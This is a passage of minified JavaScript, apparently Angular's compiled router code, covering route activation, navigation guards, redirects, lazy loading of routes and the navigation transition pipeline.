i&&this.deactivateRouteAndItsChildren(r,n)}deactivateRouteAndItsChildren(t,r){t.value.component&&this.routeReuseStrategy.shouldDetach(t.value.snapshot)?this.detachAndStoreRouteSubtree(t,r):this.deactivateRouteAndOutlet(t,r)}detachAndStoreRouteSubtree(t,r){const n=r.getContext(t.value.outlet),o=n&&t.value.component?n.children:r,i=wo(t);for(const s of Object.keys(i))this.deactivateRouteAndItsChildren(i[s],o);if(n&&n.outlet){const s=n.outlet.detach(),a=n.children.onOutletDeactivated();this.routeReuseStrategy.store(t.value.snapshot,{componentRef:s,route:t,contexts:a})}}deactivateRouteAndOutlet(t,r){const n=r.getContext(t.value.outlet),o=n&&t.value.component?n.children:r,i=wo(t);for(const s of Object.keys(i))this.deactivateRouteAndItsChildren(i[s],o);n&&(n.outlet&&(n.outlet.deactivate(),n.children.onOutletDeactivated()),n.attachRef=null,n.route=null)}activateChildRoutes(t,r,n){const o=wo(r);t.children.forEach(i=>{this.activateRoutes(i,o[i.value.outlet],n),this.forwardEvent(new Sk(i.value.snapshot))}),t.children.length&&this.forwardEvent(new Mk(t.value.snapshot))}activateRoutes(t,r,n){const o=t.value,i=r?r.value:null;if(Rf(o),o===i)if(o.component){const s=n.getOrCreateContext(o.outlet);this.activateChildRoutes(t,r,s.children)}else this.activateChildRoutes(t,r,n);else if(o.component){const s=n.getOrCreateContext(o.outlet);if(this.routeReuseStrategy.shouldAttach(o.snapshot)){const a=this.routeReuseStrategy.retrieve(o.snapshot);this.routeReuseStrategy.store(o.snapshot,null),s.children.onOutletReAttached(a.contexts),s.attachRef=a.componentRef,s.route=a.route.value,s.outlet&&s.outlet.attach(a.componentRef,a.route.value),Rf(a.route.value),this.activateChildRoutes(t,null,s.children)}else{const a=Qi(o.snapshot);s.attachRef=null,s.route=o,s.injector=a,s.outlet&&s.outlet.activateWith(o,s.injector),this.activateChildRoutes(t,null,s.children)}}else this.activateChildRoutes(t,null,n)}}class fw{constructor(t){this.path=t,this.route=this.path[this.path.length-1]}}class pl{constructor(t,r){this.component=t,this.route=r}}function Uk(e,t,r){const n=e._root;return Xi(n,t?t._root:null,r,[n.value])}function Eo(e,t){const r=Symbol(),n=t.get(e,r);return n===r?"function"!=typeof e||function d0(e){return null!==hs(e)}(e)?t.get(e):e:n}function Xi(e,t,r,n,o={canDeactivateChecks:[],canActivateChecks:[]}){const i=wo(t);return e.children.forEach(s=>{(function Gk(e,t,r,n,o={canDeactivateChecks:[],canActivateChecks:[]}){const i=e.value,s=t?t.value:null,a=r?r.getContext(e.value.outlet):null;if(s&&i.routeConfig===s.routeConfig){const l=function qk(e,t,r){if("function"==typeof r)return r(e,t);switch(r){case"pathParamsChange":return!hr(e.url,t.url);case"pathParamsOrQueryParamsChange":return!hr(e.url,t.url)||!on(e.queryParams,t.queryParams);case"always":return!0;case"paramsOrQueryParamsChange":return!Of(e,t)||!on(e.queryParams,t.queryParams);default:return!Of(e,t)}}(s,i,i.routeConfig.runGuardsAndResolvers);l?o.canActivateChecks.push(new fw(n)):(i.data=s.data,i._resolvedData=s._resolvedData),Xi(e,t,i.component?a?a.children:null:r,n,o),l&&a&&a.outlet&&a.outlet.isActivated&&o.canDeactivateChecks.push(new pl(a.outlet.component,s))}else s&&Ji(t,a,o),o.canActivateChecks.push(new fw(n)),Xi(e,null,i.component?a?a.children:null:r,n,o)})(s,i[s.value.outlet],r,n.concat([s.value]),o),delete i[s.value.outlet]}),Object.entries(i).forEach(([s,a])=>Ji(a,r.getContext(s),o)),o}function Ji(e,t,r){const n=wo(e),o=e.value;Object.entries(n).forEach(([i,s])=>{Ji(s,o.component?t?t.children.getContext(i):null:t,r)}),r.canDeactivateChecks.push(new pl(o.component&&t&&t.outlet&&t.outlet.isActivated?t.outlet.component:null,o))}function Ki(e){return"function"==typeof e}function hw(e){return e instanceof nl||"EmptyError"===e?.name}const gl=Symbol("INITIAL_VALUE");function Mo(){return Pt(e=>yf(e.map(t=>t.pipe(vo(1),function LF(...e){const t=Fo(e);return Se((r,n)=>{(t?_f(e,r,t):_f(e,r)).subscribe(n)})}(gl)))).pipe(Y(t=>{for(const r of t)if(!0!==r){if(r===gl)return gl;if(!1===r||r instanceof Do)return r}return!0}),En(t=>t!==gl),vo(1)))}function pw(e){return function fE(...e){return Dh(e)}(ze(t=>{if(pr(t))throw lw(0,t)}),Y(t=>!0===t))}class ml{constructor(t){this.segmentGroup=t||null}}class gw{constructor(t){this.urlTree=t}}function Io(e){return mo(new ml(e))}function mw(e){return mo(new gw(e))}class f2{constructor(t,r){this.urlSerializer=t,this.urlTree=r}noMatchError(t){return new D(4002,!1)}lineralizeSegments(t,r){let n=[],o=r.root;for(;;){if(n=n.concat(o.segments),0===o.numberOfChildren)return R(n);if(o.numberOfChildren>1||!o.children[H])return mo(new D(4e3,!1));o=o.children[H]}}applyRedirectCommands(t,r,n){return this.applyRedirectCreateUrlTree(r,this.urlSerializer.parse(r),t,n)}applyRedirectCreateUrlTree(t,r,n,o){const i=this.createSegmentGroup(t,r.root,n,o);return new Do(i,this.createQueryParams(r.queryParams,this.urlTree.queryParams),r.fragment)}createQueryParams(t,r){const n={};return Object.entries(t).forEach(([o,i])=>{if("string"==typeof i&&i.startsWith(":")){const a=i.substring(1);n[o]=r[a]}else n[o]=i}),n}createSegmentGroup(t,r,n,o){const i=this.createSegments(t,r.segments,n,o);let s={};return Object.entries(r.children).forEach(([a,l])=>{s[a]=this.createSegmentGroup(t,l,n,o)}),new oe(i,s)}createSegments(t,r,n,o){return r.map(i=>i.path.startsWith(":")?this.findPosParam(t,i,o):this.findOrReturn(i,n))}findPosParam(t,r,n){const o=n[r.path.substring(1)];if(!o)throw new D(4001,!1);return o}findOrReturn(t,r){let n=0;for(const o of r){if(o.path===t.path)return r.splice(n),o;n++}return t}}const Lf={matched:!1,consumedSegments:[],remainingSegments:[],parameters:{},positionalParamSegments:{}};function h2(e,t,r,n,o){const i=Vf(e,t,r);return i.matched?(n=function kk(e,t){return e.providers&&!e._injector&&(e._injector=hd(e.providers,t,`Route: ${e.path}`)),e._injector??t}(t,n),function u2(e,t,r,n){const o=t.canMatch;return o&&0!==o.length?R(o.map(s=>{const a=Eo(s,e);return Un(function Jk(e){return e&&Ki(e.canMatch)}(a)?a.canMatch(t,r):e.runInContext(()=>a(t,r)))})).pipe(Mo(),pw()):R(!0)}(n,t,r).pipe(Y(s=>!0===s?i:{...Lf}))):R(i)}function Vf(e,t,r){if(""===t.path)return"full"===t.pathMatch&&(e.hasChildren()||r.length>0)?{...Lf}:{matched:!0,consumedSegments:[],remainingSegments:r,parameters:{},positionalParamSegments:{}};const o=(t.matcher||GF)(r,e,t);if(!o)return{...Lf};const i={};Object.entries(o.posParams??{}).forEach(([a,l])=>{i[a]=l.path});const s=o.consumed.length>0?{...i,...o.consumed[o.consumed.length-1].parameters}:i;return{matched:!0,consumedSegments:o.consumed,remainingSegments:r.slice(o.consumed.length),parameters:s,positionalParamSegments:o.posParams??{}}}function vw(e,t,r,n){return r.length>0&&function m2(e,t,r){return r.some(n=>vl(e,t,n)&&qt(n)!==H)}(e,r,n)?{segmentGroup:new oe(t,g2(n,new oe(r,e.children))),slicedSegments:[]}:0===r.length&&function v2(e,t,r){return r.some(n=>vl(e,t,n))}(e,r,n)?{segmentGroup:new oe(e.segments,p2(e,0,r,n,e.children)),slicedSegments:r}:{segmentGroup:new oe(e.segments,e.children),slicedSegments:r}}function p2(e,t,r,n,o){const i={};for(const s of n)if(vl(e,r,s)&&!o[qt(s)]){const a=new oe([],{});i[qt(s)]=a}return{...o,...i}}function g2(e,t){const r={};r[H]=t;for(const n of e)if(""===n.path&&qt(n)!==H){const o=new oe([],{});r[qt(n)]=o}return r}function vl(e,t,r){return(!(e.hasChildren()||t.length>0)||"full"!==r.pathMatch)&&""===r.path}class C2{constructor(t,r,n,o,i,s,a){this.injector=t,this.configLoader=r,this.rootComponentType=n,this.config=o,this.urlTree=i,this.paramsInheritanceStrategy=s,this.urlSerializer=a,this.allowRedirects=!0,this.applyRedirects=new f2(this.urlSerializer,this.urlTree)}noMatchError(t){return new D(4002,!1)}recognize(){const t=vw(this.urlTree.root,[],[],this.config).segmentGroup;return this.processSegmentGroup(this.injector,this.config,t,H).pipe(Mn(r=>{if(r instanceof gw)return this.allowRedirects=!1,this.urlTree=r.urlTree,this.match(r.urlTree);throw r instanceof ml?this.noMatchError(r):r}),Y(r=>{const n=new fl([],Object.freeze({}),Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,{},H,this.rootComponentType,null,{}),o=new In(n,r),i=new iw("",o),s=function dk(e,t,r=null,n=null){return WC(qC(e),t,r,n)}(n,[],this.urlTree.queryParams,this.urlTree.fragment);return s.queryParams=this.urlTree.queryParams,i.url=this.urlSerializer.serialize(s),this.inheritParamsAndData(i._root),{state:i,tree:s}}))}match(t){return this.processSegmentGroup(this.injector,this.config,t.root,H).pipe(Mn(n=>{throw n instanceof ml?this.noMatchError(n):n}))}inheritParamsAndData(t){const r=t.value,n=ow(r,this.paramsInheritanceStrategy);r.params=Object.freeze(n.params),r.data=Object.freeze(n.data),t.children.forEach(o=>this.inheritParamsAndData(o))}processSegmentGroup(t,r,n,o){return 0===n.segments.length&&n.hasChildren()?this.processChildren(t,r,n):this.processSegment(t,r,n,n.segments,o,!0)}processChildren(t,r,n){const o=[];for(const i of Object.keys(n.children))"primary"===i?o.unshift(i):o.push(i);return Ae(o).pipe(yo(i=>{const s=n.children[i],a=function Bk(e,t){const r=e.filter(n=>qt(n)===t);return r.push(...e.filter(n=>qt(n)!==t)),r}(r,i);return this.processSegmentGroup(t,a,s,i)}),function BF(e,t){return Se(function jF(e,t,r,n,o){return(i,s)=>{let a=r,l=t,u=0;i.subscribe(Ee(s,c=>{const d=u++;l=a?e(l,c,d):(a=!0,c),n&&s.next(l)},o&&(()=>{a&&s.next(l),s.complete()})))}}(e,t,arguments.length>=2,!0))}((i,s)=>(i.push(...s),i)),rl(null),function HF(e,t){const r=arguments.length>=2;return n=>n.pipe(e?En((o,i)=>e(o,i,n)):An,Cf(1),r?rl(t):OC(()=>new nl))}(),Pe(i=>{if(null===i)return Io(n);const s=yw(i);return function w2(e){e.sort((t,r)=>t.value.outlet===H?-1:r.value.outlet===H?1:t.value.outlet.localeCompare(r.value.outlet))}(s),R(s)}))}processSegment(t,r,n,o,i,s){return Ae(r).pipe(yo(a=>this.processSegmentAgainstRoute(a._injector??t,r,a,n,o,i,s).pipe(Mn(l=>{if(l instanceof ml)return R(null);throw l}))),fr(a=>!!a),Mn(a=>{if(hw(a))return function _2(e,t,r){return 0===t.length&&!e.children[r]}(n,o,i)?R([]):Io(n);throw a}))}processSegmentAgainstRoute(t,r,n,o,i,s,a){return function y2(e,t,r,n){return!!(qt(e)===n||n!==H&&vl(t,r,e))&&("**"===e.path||Vf(t,e,r).matched)}(n,o,i,s)?void 0===n.redirectTo?this.matchSegmentAgainstRoute(t,o,n,i,s,a):a&&this.allowRedirects?this.expandSegmentAgainstRouteUsingRedirect(t,o,r,n,i,s):Io(o):Io(o)}expandSegmentAgainstRouteUsingRedirect(t,r,n,o,i,s){return"**"===o.path?this.expandWildCardWithParamsAgainstRouteUsingRedirect(t,n,o,s):this.expandRegularSegmentAgainstRouteUsingRedirect(t,r,n,o,i,s)}expandWildCardWithParamsAgainstRouteUsingRedirect(t,r,n,o){const i=this.applyRedirects.applyRedirectCommands([],n.redirectTo,{});return n.redirectTo.startsWith("/")?mw(i):this.applyRedirects.lineralizeSegments(n,i).pipe(Pe(s=>{const a=new oe(s,{});return this.processSegment(t,r,a,s,o,!1)}))}expandRegularSegmentAgainstRouteUsingRedirect(t,r,n,o,i,s){const{matched:a,consumedSegments:l,remainingSegments:u,positionalParamSegments:c}=Vf(r,o,i);if(!a)return Io(r);const d=this.applyRedirects.applyRedirectCommands(l,o.redirectTo,c);return o.redirectTo.startsWith("/")?mw(d):this.applyRedirects.lineralizeSegments(o,d).pipe(Pe(f=>this.processSegment(t,n,r,f.concat(u),s,!1)))}matchSegmentAgainstRoute(t,r,n,o,i,s){let a;if("**"===n.path){const l=o.length>0?FC(o).parameters:{};a=R({snapshot:new fl(o,l,Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,_w(n),qt(n),n.component??n._loadedComponent??null,n,Dw(n)),consumedSegments:[],remainingSegments:[]}),r.children={}}else a=h2(r,n,o,t).pipe(Y(({matched:l,consumedSegments:u,remainingSegments:c,parameters:d})=>l?{snapshot:new fl(u,d,Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,_w(n),qt(n),n.component??n._loadedComponent??null,n,Dw(n)),consumedSegments:u,remainingSegments:c}:null));return a.pipe(Pt(l=>null===l?Io(r):this.getChildConfig(t=n._injector??t,n,o).pipe(Pt(({routes:u})=>{const c=n._loadedInjector??t,{snapshot:d,consumedSegments:f,remainingSegments:h}=l,{segmentGroup:p,slicedSegments:g}=vw(r,f,h,u);if(0===g.length&&p.hasChildren())return this.processChildren(c,u,p).pipe(Y(y=>null===y?null:[new In(d,y)]));if(0===u.length&&0===g.length)return R([new In(d,[])]);const v=qt(n)===i;return this.processSegment(c,u,p,g,v?H:i,!0).pipe(Y(y=>[new In(d,y)]))}))))}getChildConfig(t,r,n){return r.children?R({routes:r.children,injector:t}):r.loadChildren?void 0!==r._loadedRoutes?R({routes:r._loadedRoutes,injector:r._loadedInjector}):function l2(e,t,r,n){const o=t.canLoad;return void 0===o||0===o.length?R(!0):R(o.map(s=>{const a=Eo(s,e);return Un(function Zk(e){return e&&Ki(e.canLoad)}(a)?a.canLoad(t,r):e.runInContext(()=>a(t,r)))})).pipe(Mo(),pw())}(t,r,n).pipe(Pe(o=>o?this.configLoader.loadChildren(t,r).pipe(ze(i=>{r._loadedRoutes=i.routes,r._loadedInjector=i.injector})):function d2(e){return mo(uw(!1,3))}())):R({routes:[],injector:t})}}function b2(e){const t=e.value.routeConfig;return t&&""===t.path}function yw(e){const t=[],r=new Set;for(const n of e){if(!b2(n)){t.push(n);continue}const o=t.find(i=>n.value.routeConfig===i.value.routeConfig);void 0!==o?(o.children.push(...n.children),r.add(o)):t.push(n)}for(const n of r){const o=yw(n.children);t.push(new In(n.value,o))}return t.filter(n=>!r.has(n))}function _w(e){return e.data||{}}function Dw(e){return e.resolve||{}}function Cw(e){return"string"==typeof e.title||null===e.title}function jf(e){return Pt(t=>{const r=e(t);return r?Ae(r).pipe(Y(()=>t)):R(t)})}const So=new I("ROUTES");let Bf=(()=>{var e;class t{constructor(){this.componentLoaders=new WeakMap,this.childrenLoaders=new WeakMap,this.compiler=M(tD)}loadComponent(n){if(this.componentLoaders.get(n))return this.componentLoaders.get(n);if(n._loadedComponent)return R(n._loadedComponent);this.onLoadStartListener&&this.onLoadStartListener(n);const o=Un(n.loadComponent()).pipe(Y(ww),ze(s=>{this.onLoadEndListener&&this.onLoadEndListener(n),n._loadedComponent=s}),ji(()=>{this.componentLoaders.delete(n)})),i=new RC(o,()=>new Ot).pipe(Df());return this.componentLoaders.set(n,i),i}loadChildren(n,o){if(this.childrenLoaders.get(o))return this.childrenLoaders.get(o);if(o._loadedRoutes)return R({routes:o._loadedRoutes,injector:o._loadedInjector});this.onLoadStartListener&&this.onLoadStartListener(o);const s=function N2(e,t,r,n){return Un(e.loadChildren()).pipe(Y(ww),Pe(o=>o instanceof s_||Array.isArray(o)?R(o):Ae(t.compileModuleAsync(o))),Y(o=>{n&&n(e);let i,s,a=!1;return Array.isArray(o)?(s=o,!0):(i=o.create(r).injector,s=i.get(So,[],{optional:!0,self:!0}).flat()),{routes:s.map(kf),injector:i}}))}(o,this.compiler,n,this.onLoadEndListener).pipe(ji(()=>{this.childrenLoaders.delete(o)})),a=new RC(s,()=>new Ot).pipe(Df());return this.childrenLoaders.set(o,a),a}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})();function ww(e){return function x2(e){return e&&"object"==typeof e&&"default"in e}(e)?e.default:e}let yl=(()=>{var e;class t{get hasRequestedNavigation(){return 0!==this.navigationId}constructor(){this.currentNavigation=null,this.currentTransition=null,this.lastSuccessfulNavigation=null,this.events=new Ot,this.transitionAbortSubject=new Ot,this.configLoader=M(Bf),this.environmentInjector=M(pt),this.urlSerializer=M($i),this.rootContexts=M(Zi),this.inputBindingEnabled=null!==M(hl,{optional:!0}),this.navigationId=0,this.afterPreactivation=()=>R(void 0),this.rootComponentType=null,this.configLoader.onLoadEndListener=i=>this.events.next(new bk(i)),this.configLoader.onLoadStartListener=i=>this.events.next(new wk(i))}complete(){this.transitions?.complete()}handleNavigationRequest(n){const o=++this.navigationId;this.transitions?.next({...this.transitions.value,...n,id:o})}setupNavigations(n,o,i){return this.transitions=new Ct({id:0,currentUrlTree:o,currentRawUrl:o,currentBrowserUrl:o,extractedUrl:n.urlHandlingStrategy.extract(o),urlAfterRedirects:n.urlHandlingStrategy.extract(o),rawUrl:o,extras:{},resolve:null,reject:null,promise:Promise.resolve(!0),source:qi,restoredState:null,currentSnapshot:i.snapshot,targetSnapshot:null,currentRouterState:i,targetRouterState:null,guards:{canActivateChecks:[],canDeactivateChecks:[]},guardsResult:null}),this.transitions.pipe(En(s=>0!==s.id),Y(s=>({...s,extractedUrl:n.urlHandlingStrategy.extract(s.rawUrl)})),Pt(s=>{this.currentTransition=s;let a=!1,l=!1;return R(s).pipe(ze(u=>{this.currentNavigation={id:u.id,initialUrl:u.rawUrl,extractedUrl:u.extractedUrl,trigger:u.source,extras:u.extras,previousNavigation:this.lastSuccessfulNavigation?{...this.lastSuccessfulNavigation,previousNavigation:null}:null}}),Pt(u=>{const c=u.currentBrowserUrl.toString(),d=!n.navigated||u.extractedUrl.toString()!==c||c!==u.currentUrlTree.toString();if(!d&&"reload"!==(u.extras.onSameUrlNavigation??n.onSameUrlNavigation)){const h="";return this.events.next(new Co(u.id,this.urlSerializer.serialize(u.rawUrl),h,0)),u.resolve(null),Wt}if(n.urlHandlingStrategy.shouldProcessUrl(u.rawUrl))return R(u).pipe(Pt(h=>{const p=this.transitions?.getValue();return this.events.next(new cl(h.id,this.urlSerializer.serialize(h.extractedUrl),h.source,h.restoredState)),p!==this.transitions?.getValue()?Wt:Promise.resolve(h)}),function E2(e,t,r,n,o,i){return Pe(s=>function D2(e,t,r,n,o,i,s="emptyOnly"){return new C2(e,t,r,n,o,s,i).recognize()}(e,t,r,n,s.extractedUrl,o,i).pipe(Y(({state:a,tree:l})=>({...s,targetSnapshot:a,urlAfterRedirects:l}))))}(this.environmentInjector,this.configLoader,this.rootComponentType,n.config,this.urlSerializer,n.paramsInheritanceStrategy),ze(h=>{s.targetSnapshot=h.targetSnapshot,s.urlAfterRedirects=h.urlAfterRedirects,this.currentNavigation={...this.currentNavigation,finalUrl:h.urlAfterRedirects};const p=new KC(h.id,this.urlSerializer.serialize(h.extractedUrl),this.urlSerializer.serialize(h.urlAfterRedirects),h.targetSnapshot);this.events.next(p)}));if(d&&n.urlHandlingStrategy.shouldProcessUrl(u.currentRawUrl)){const{id:h,extractedUrl:p,source:g,restoredState:v,extras:y}=u,m=new cl(h,this.urlSerializer.serialize(p),g,v);this.events.next(m);const T=rw(0,this.rootComponentType).snapshot;return this.currentTransition=s={...u,targetSnapshot:T,urlAfterRedirects:p,extras:{...y,skipLocationChange:!1,replaceUrl:!1}},R(s)}{const h="";return this.events.next(new Co(u.id,this.urlSerializer.serialize(u.extractedUrl),h,1)),u.resolve(null),Wt}}),ze(u=>{const c=new yk(u.id,this.urlSerializer.serialize(u.extractedUrl),this.urlSerializer.serialize(u.urlAfterRedirects),u.targetSnapshot);this.events.next(c)}),Y(u=>(this.currentTransition=s={...u,guards:Uk(u.targetSnapshot,u.currentSnapshot,this.rootContexts)},s)),function e2(e,t){return Pe(r=>{const{targetSnapshot:n,currentSnapshot:o,guards:{canActivateChecks:i,canDeactivateChecks:s}}=r;return 0===s.length&&0===i.length?R({...r,guardsResult:!0}):function t2(e,t,r,n){return Ae(e).pipe(Pe(o=>function a2(e,t,r,n,o){const i=t&&t.routeConfig?t.routeConfig.canDeactivate:null;return i&&0!==i.length?R(i.map(a=>{const l=Qi(t)??o,u=Eo(a,l);return Un(function Xk(e){return e&&Ki(e.canDeactivate)}(u)?u.canDeactivate(e,t,r,n):l.runInContext(()=>u(e,t,r,n))).pipe(fr())})).pipe(Mo()):R(!0)}(o.component,o.route,r,t,n)),fr(o=>!0!==o,!0))}(s,n,o,e).pipe(Pe(a=>a&&function Wk(e){return"boolean"==typeof e}(a)?function n2(e,t,r,n){return Ae(t).pipe(yo(o=>_f(function o2(e,t){return null!==e&&t&&t(new Ek(e)),R(!0)}(o.route.parent,n),function r2(e,t){return null!==e&&t&&t(new Ik(e)),R(!0)}(o.route,n),function s2(e,t,r){const n=t[t.length-1],i=t.slice(0,t.length-1).reverse().map(s=>function zk(e){const t=e.routeConfig?e.routeConfig.canActivateChild:null;return t&&0!==t.length?{node:e,guards:t}:null}(s)).filter(s=>null!==s).map(s=>xC(()=>R(s.guards.map(l=>{const u=Qi(s.node)??r,c=Eo(l,u);return Un(function Qk(e){return e&&Ki(e.canActivateChild)}(c)?c.canActivateChild(n,e):u.runInContext(()=>c(n,e))).pipe(fr())})).pipe(Mo())));return R(i).pipe(Mo())}(e,o.path,r),function i2(e,t,r){const n=t.routeConfig?t.routeConfig.canActivate:null;if(!n||0===n.length)return R(!0);const o=n.map(i=>xC(()=>{const s=Qi(t)??r,a=Eo(i,s);return Un(function Yk(e){return e&&Ki(e.canActivate)}(a)?a.canActivate(t,e):s.runInContext(()=>a(t,e))).pipe(fr())}));return R(o).pipe(Mo())}(e,o.route,r))),fr(o=>!0!==o,!0))}(n,i,e,t):R(a)),Y(a=>({...r,guardsResult:a})))})}(this.environmentInjector,u=>this.events.next(u)),ze(u=>{if(s.guardsResult=u.guardsResult,pr(u.guardsResult))throw lw(0,u.guardsResult);const c=new _k(u.id,this.urlSerializer.serialize(u.extractedUrl),this.urlSerializer.serialize(u.urlAfterRedirects),u.targetSnapshot,!!u.guardsResult);this.events.next(c)}),En(u=>!!u.guardsResult||(this.cancelNavigationTransition(u,"",3),!1)),jf(u=>{if(u.guards.canActivateChecks.length)return R(u).pipe(ze(c=>{const d=new Dk(c.id,this.urlSerializer.serialize(c.extractedUrl),this.urlSerializer.serialize(c.urlAfterRedirects),c.targetSnapshot);this.events.next(d)}),Pt(c=>{let d=!1;return R(c).pipe(function M2(e,t){return Pe(r=>{const{targetSnapshot:n,guards:{canActivateChecks:o}}=r;if(!o.length)return R(r);let i=0;return Ae(o).pipe(yo(s=>function I2(e,t,r,n){const o=e.routeConfig,i=e._resolve;return void 0!==o?.title&&!Cw(o)&&(i[Bi]=o.title),function S2(e,t,r,n){const o=function A2(e){return[...Object.keys(e),...Object.getOwnPropertySymbols(e)]}(e);if(0===o.length)return R({});const i={};return Ae(o).pipe(Pe(s=>function T2(e,t,r,n){const o=Qi(t)??n,i=Eo(e,o);return Un(i.resolve?i.resolve(t,r):o.runInContext(()=>i(t,r)))}(e[s],t,r,n).pipe(fr(),ze(a=>{i[s]=a}))),Cf(1),function $F(e){return Y(()=>e)}(i),Mn(s=>hw(s)?Wt:mo(s)))}(i,e,t,n).pipe(Y(s=>(e._resolvedData=s,e.data=ow(e,r).resolve,o&&Cw(o)&&(e.data[Bi]=o.title),null)))}(s.route,n,e,t)),ze(()=>i++),Cf(1),Pe(s=>i===o.length?R(r):Wt))})}(n.paramsInheritanceStrategy,this.environmentInjector),ze({next:()=>d=!0,complete:()=>{d||this.cancelNavigationTransition(c,"",2)}}))}),ze(c=>{const d=new Ck(c.id,this.urlSerializer.serialize(c.extractedUrl),this.urlSerializer.serialize(c.urlAfterRedirects),c.targetSnapshot);this.events.next(d)}))}),jf(u=>{const c=d=>{const f=[];d.routeConfig?.loadComponent&&!d.routeConfig._loadedComponent&&f.push(this.configLoader.loadComponent(d.routeConfig).pipe(ze(h=>{d.component=h}),Y(()=>{})));for(const h of d.children)f.push(...c(h));return f};return yf(c(u.targetSnapshot.root)).pipe(rl(),vo(1))}),jf(()=>this.afterPreactivation()),Y(u=>{const c=function Rk(e,t,r){const n=Yi(e,t._root,r?r._root:void 0);return new nw(n,t)}(n.routeReuseStrategy,u.targetSnapshot,u.currentRouterState);return this.currentTransition=s={...u,targetRouterState:c},s}),ze(()=>{this.events.next(new Sf)}),((e,t,r,n)=>Y(o=>(new $k(t,o.targetRouterState,o.currentRouterState,r,n).activate(e),o)))(this.rootContexts,n.routeReuseStrategy,u=>this.events.next(u),this.inputBindingEnabled),vo(1),ze({next:u=>{a=!0,this.lastSuccessfulNavigation=this.currentNavigation,this.events.next(new zn(u.id,this.urlSerializer.serialize(u.extractedUrl),this.urlSerializer.serialize(u.urlAfterRedirects))),n.titleStrategy?.updateTitle(u.targetRouterState.snapshot),u.resolve(!0)},complete:()=>{a=!0}}),function UF(e){return Se((t,r)=>{ut(e).subscribe(Ee(r,()=>r.complete(),Vl)),!r.closed&&t.subscribe(r)})}(this.transitionAbortSubject.pipe(ze(u=>{throw u}))),ji(()=>{a||l||this.cancelNavigationTransition(s,"",1),this.currentNavigation?.id===s.id&&(this.currentNavigation=null)}),Mn(u=>{if(l=!0,cw(u))this.events.next(new Wi(s.id,this.urlSerializer.serialize(s.extractedUrl),u.message,u.cancellationCode)),function Fk(e){return cw(e)&&pr(e.url)}(u)?this.events.next(new Af(u.url)):s.resolve(!1);else{this.events.next(new dl(s.id,this.urlSerializer.serialize(s.extractedUrl),u,s.targetSnapshot??void 0));try{s.resolve(n.errorHandler(u))}catch(c){s.reject(c)}}return Wt}))}))}cancelNavigationTransition(n,o,i){const s=new Wi(n.id,this.urlSerializer.serialize(n.extractedUrl),o,i);this.events.next(s),n.resolve(!1)}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})();function bw(e){return e!==qi}let Ew=(()=>{var e;class t{buildTitle(n){let o,i=n.root;for(;void 0!==i;)o=this.getResolvedTitleForRoute(i)??o,i=i.children.find(s=>s.outlet===H);return o}getResolvedTitleForRoute(n){return n.data[Bi]}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:function(){return M(R2)},providedIn:"root"}),t})(),R2=(()=>{var e;class t extends Ew{constructor(n){super(),this.title=n}updateTitle(n){const o=this.buildTitle(n);void 0!==o&&this.title.setTitle(o)}}return(e=t).\u0275fac=function(n){return new(n||e)(N(bC))},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})(),O2=(()=>{var e;class t{}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:function(){return M(F2)},providedIn:"root"}),t})();class P2{shouldDetach(t){return!1}store(t,r){}shouldAttach(t){return!1}retrieve(t){return null}shouldReuseRoute(t,r){return t.routeConfig===r.routeConfig}}let F2=(()=>{var e;class t extends P2{}return(e=t).\u0275fac=function(){let r;return function(o){return(r||(r=je(e)))(o||e)}}(),e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})();const _l=new I("",{providedIn:"root",factory:()=>({})});let k2=(()=>{var e;class t{}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:function(){return M(L2)},providedIn:"root"}),t})(),L2=(()=>{var e;class t{shouldProcessUrl(n){return!0}extract(n){return n}merge(n,o){return n}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})();var es=function(e){return e[e.COMPLETE=0]="COMPLETE",e[e.FAILED=1]="FAILED",e[e.REDIRECTING=2]="REDIRECTING",e}(es||{});function Mw(e,t){e.events.pipe(En(r=>r instanceof zn||r instanceof Wi||r instanceof dl||r instanceof Co),Y(r=>r instanceof zn||r instanceof Co?es.COMPLETE:r instanceof Wi&&(0===r.code||1===r.code)?es.REDIRECTING:es.FAILED),En(r=>r!==es.REDIRECTING),vo(1)).subscribe(()=>{t()})}function V2(e){throw e}function j2(e,t,r){return t.parse("/")}const B2={paths:"exact",fragment:"ignored",matrixParams:"ignored",queryParams:"exact"},H2={paths:"subset",fragment:"ignored",matrixParams:"ignored",queryParams:"subset"};let xt=(()=>{var e;class t{get navigationId(){return this.navigationTransitions.navigationId}get browserPageId(){return"computed"!==this.canceledNavigationResolution?this.currentPageId:this.location.getState()?.\u0275routerPageId??this.currentPageId}get events(){return this._events}constructor(){this.disposed=!1,this.currentPageId=0,this.console=M(eD),this.isNgZoneEnabled=!1,this._events=new Ot,this.options=M(_l,{optional:!0})||{},this.pendingTasks=M(Pa),this.errorHandler=this.options.errorHandler||V2,this.malformedUriErrorHandler=this.options.malformedUriErrorHandler||j2,this.navigated=!1,this.lastSuccessfulId=-1,this.urlHandlingStrategy=M(k2),this.routeReuseStrategy=M(O2),this.titleStrategy=M(Ew),this.onSameUrlNavigation=this.options.onSameUrlNavigation||"ignore",this.paramsInheritanceStrategy=this.options.paramsInheritanceStrategy||"emptyOnly",this.urlUpdateStrategy=this.options.urlUpdateStrategy||"deferred",this.canceledNavigationResolution=this.options.canceledNavigationResolution||"replace",this.config=M(So,{optional:!0})?.flat()??[],this.navigationTransitions=M(yl),this.urlSerializer=M($i),this.location=M(Gd),this.componentInputBindingEnabled=!!M(hl,{optional:!0}),this.eventsSubscription=new lt,this.isNgZoneEnabled=M(de)instanceof de&&de.isInAngularZone(),this.resetConfig(this.config),this.currentUrlTree=new 